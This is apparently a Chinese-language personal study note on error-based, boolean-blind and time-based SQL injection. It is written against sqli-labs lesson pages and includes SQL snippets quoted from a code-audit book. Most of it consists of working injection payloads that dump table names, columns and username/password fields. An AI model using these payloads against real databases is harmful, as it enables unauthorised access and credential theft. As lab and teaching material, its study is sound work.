WEB安全--高级sql注入，爆错注入，布尔盲注，时间盲注

1.爆错注入

什么情况想能使用报错注入------------页面返回连接错误信息

常用函数

updatexml()
if...floor
extractvalue

updatexml(1,concat(0x23,payload,0x23),1)

在concat查询语句后面添加一个标识符，如0x23
updatexml(1,concat(0x23,payload,0x23),1)
因为有的时候报错信息会设置长度限制，添加标识符可以避免显示不完全

获取数据库信息

http://10.1.2.5:10631/sqli/Less-1/?id=1' and updatexml(1,concat(0x23,version()),1)--+

获取表名

http://10.1.2.5:10631/sqli/Less-1/?id=1' and updatexml(1,concat(23,(select group_concat(table_name) from information_schema.tables where table_schema='security' )),1)--+

获取列名

http://test.com/sqli/Less-1/?id=1' and updatexml(1,concat(23,(select group_concat(column_name) from information_schema.columns where table_name='users')),1)--+

获取字段内容

http://test.com/sqli/Less-1/?id=1' and updatexml(1,concat(23,(select group_concat(username,password) from users)),1)--+

（2）还有一种爆错注入

select count(*),concat(",",(select table_name from information_schema.tables where table_schema=database() limit 0,0),",",floor(rand()*2))ldx from information_schema.tables group by ldx;

select count(*),concat(0x22,0x22,database(),0x22,0x22,floor(rand()*2))ldx from information_schema.tables group by ldx

select count(*),concat(0x22,0x22,(select table_name from information_schema.tables where table_schema=database() limit 0,0),0x22,0x22,floor(rand()*2))ldx from information_schema.tables group by ldx;
6　
7 and (select 1 from (select count(*),concat(0x22,0x22,(select table_name from information_schema.tables where table_schema=database() limit 0,0),0x22,0x22,floor(rand()*2))ldx from information_schema.tables group by ldx)ldx);

http://test.com/sqli/Less-5/?id=1' and(select 1 from (select count(*),concat(0x22,0x22,(select table_name from information_schema.tables where table_schema=database() limit 2,2),0x22,0x22,floor(rand()*2))ldx from information_schema.tables group by ldx)ldx)--+

以下均摘自《代码审计：企业级Web代码安全架构》一书
 1 1.floor()

select * from test where id=1 and (select 1 from (select 
count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables
 group by x)a);

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

4.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b))

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

2.布尔盲注

 特点：页面存在异常，但是即无回显也无报错信息利用--------------------只能通过正确与错误两种状态来判断payload是否正确

count()                                                               计算结果集的行数。
length(str)                                                           返回指定字符串的长度
substr(str,pos,len)/substring(str,pos,len)                            返回截取的子字符串。
ascii(str)                                                            返回指定字符串最左侧字符的sacii值。
布尔型盲注核心思想
----------------------------------------------
利用判断语句来证明推测是否正确。
推测正确时，页面正常显示；错误时，页面异常

 

查数据库名长度

http://10.1.2.5:10631/sqli/Less-8/?id=1' and (select length(database())>8)--+

求数据库名

http://10.1.2.5:10631/sqli/Less-8/?id=1' and ascii(substr(database(),1,1)) > 64%23

求所有表的数量

http://10.1.2.5:10631/sqli/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database()) = 5 --+

求表名长度

http://10.1.2.5:10631/sqli/Less-8/?id=1' and length((select table_name from information_schema.tables where table_schema=database())) = 5 --+

求表名的ascii值

http://10.1.2.5:10631/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 --+

求列的数量

http://10.1.2.5:10631/sqli/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3 --+

求列名的ascii值

http://10.1.2.5:10631/sqli/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name = 'users' limit 0,1),1,1))=105 --+

求字段的数量

http://10.1.2.5:10631/sqli/Less-8/?id=1' and (select count(username) from security.users)=16 --+

求字段内容

http://10.1.2.5:10631/sqli/Less-8/?id=1' and ascii(substr((select concat(username,0x23,password) from security.users limit 0,1),1,1))=68 --+

3.时间盲注

时间型盲注
特点：页面不存在异常，且即无回显也无报错信息
利用：只能利用条件语句结合执行时间的长短来判断payload是否正确
-----------------------------------------------------------------------
if(exp1,exp2,exp3)
如果exp1是True，则执行exp2，否则执行exp3
-----------------------------------------------------------------------
sleep(s)
将程序暂停s秒
-----------------------------------------------------------------------
时间型盲注核心思想

if(payload,sleep(3),1)
即payload正确时，程序暂停3秒。否则立刻执行。
if(payload,1,sleep(3))
即payload正确时，程序立刻执行，否则暂停3秒。

首先闭合    然后判断是否存在时间注入----------直接在if里面插payload 套式子

http://10.1.2.5:10631/sqli/Less-10/?id=1" and sleep(5)--+

查数据库名长度

1 http://test.com/sqli/Less-1/?id=1' and if(length(database())=8,sleep(2),1)-- -

求数据库名的ascii值

1 http://test.com/sqli/Less-1/?id=1' and if(ascii(substr(database(),1,1)) =115,sleep(2),1)--+

感觉今天学的东西真的挺多的，幸好有点基础不然懵了，先整理到这把，占坑在补上。先上个ascii码表把。

 看了tony表哥一篇帖子，记下关于时间盲注的新理解

or，and的执行用短位运算符来说明准确简单点.短运算符的精髓：条件一 and 条件二 //当条件一成立，执行条件二条件一 or 条件二 //当条件一不成立，执行条件二

参考连接